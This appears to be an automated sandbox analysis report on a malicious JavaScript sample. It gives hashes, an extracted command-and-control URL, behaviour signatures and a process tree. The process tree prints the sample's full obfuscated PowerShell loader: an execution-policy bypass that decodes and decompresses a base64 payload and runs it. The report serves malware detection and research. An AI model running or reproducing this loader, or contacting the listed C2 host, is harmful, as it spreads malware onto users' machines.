Analysis
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max time kernel
26s -
max time network
29s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
04/01/2023, 07:35
Static task
static1
Behavioral task
behavioral1
Sample
55e020dbea48939cdd285ea106713f40bc077e2c.js
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
55e020dbea48939cdd285ea106713f40bc077e2c.js
Resource
win10v2004-20220901-en
General
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Target
55e020dbea48939cdd285ea106713f40bc077e2c.js
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Size
43KB
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MD5
cd8ce0411e414f67fa7e34b06004314f
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SHA1
55e020dbea48939cdd285ea106713f40bc077e2c
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SHA256
0442f029601c5925d346260e512770beb5a9a28ef4ac9e2da5d1b0e7d27341a6
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SHA512
322b0c0a1166f392150d46f529ab3475954b5255f955e893bffc49c61865a2f953dc3dd598ca13f9954b61fa79bea797ec7e740ab7cab48d6d5dda08d9631e03
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SSDEEP
768:4aPlutIv0NmQCjO2rpReJk3zBE5kxuALjWV+yLFz9ohcqJ8H:uK1j1syDaVh9onKH
Malware Config
Extracted
http://159.203.143.66/r/
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1148 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1148 powershell.exe Token: SeDebugPrivilege 1036 whoami.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1204 wrote to memory of 1712 1204 wscript.exe 28 PID 1204 wrote to memory of 1712 1204 wscript.exe 28 PID 1204 wrote to memory of 1712 1204 wscript.exe 28 PID 1712 wrote to memory of 1148 1712 cmD.exe 30 PID 1712 wrote to memory of 1148 1712 cmD.exe 30 PID 1712 wrote to memory of 1148 1712 cmD.exe 30 PID 1148 wrote to memory of 1036 1148 powershell.exe 31 PID 1148 wrote to memory of 1036 1148 powershell.exe 31 PID 1148 wrote to memory of 1036 1148 powershell.exe 31
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\55e020dbea48939cdd285ea106713f40bc077e2c.js1⤵
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\wiNDOWS\SYsTEM32\cmD.exe"C:\wiNDOWS\SYsTEM32\cmD.exe" /c PoweRSheLL -execUTiONPoLic BypasS "& ((gV '*mDr*').naME[3,11,2]-Join'') ( nEw-oBJecT syStEm.iO.CompREsSiON.defLAtEStReAM( [SYstEM.io.MEmOryStream] [CoNVErT]::FrOmbASe64sTRING('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') , [sYsTEm.io.ComPREsSiOn.coMPreSsioNmODe]::DEcOmPreSs) |fOrEACH-obJEcT{ nEw-oBJecT sySTEM.Io.sTReaMreadeR( $_, [teXt.EnCODInG]::AsCiI)} ).ReaDtoenD( ) "2⤵
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoweRSheLL -execUTiONPoLic BypasS "& ((gV '*mDr*').naME[3,11,2]-Join'') ( nEw-oBJecT syStEm.iO.CompREsSiON.defLAtEStReAM( [SYstEM.io.MEmOryStream] [CoNVErT]::FrOmbASe64sTRING('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') , [sYsTEm.io.ComPREsSiOn.coMPreSsioNmODe]::DEcOmPreSs) |fOrEACH-obJEcT{ nEw-oBJecT sySTEM.Io.sTReaMreadeR( $_, [teXt.EnCODInG]::AsCiI)} ).ReaDtoenD( ) "3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\system32\whoami.exe"C:\Windows\system32\whoami.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1036
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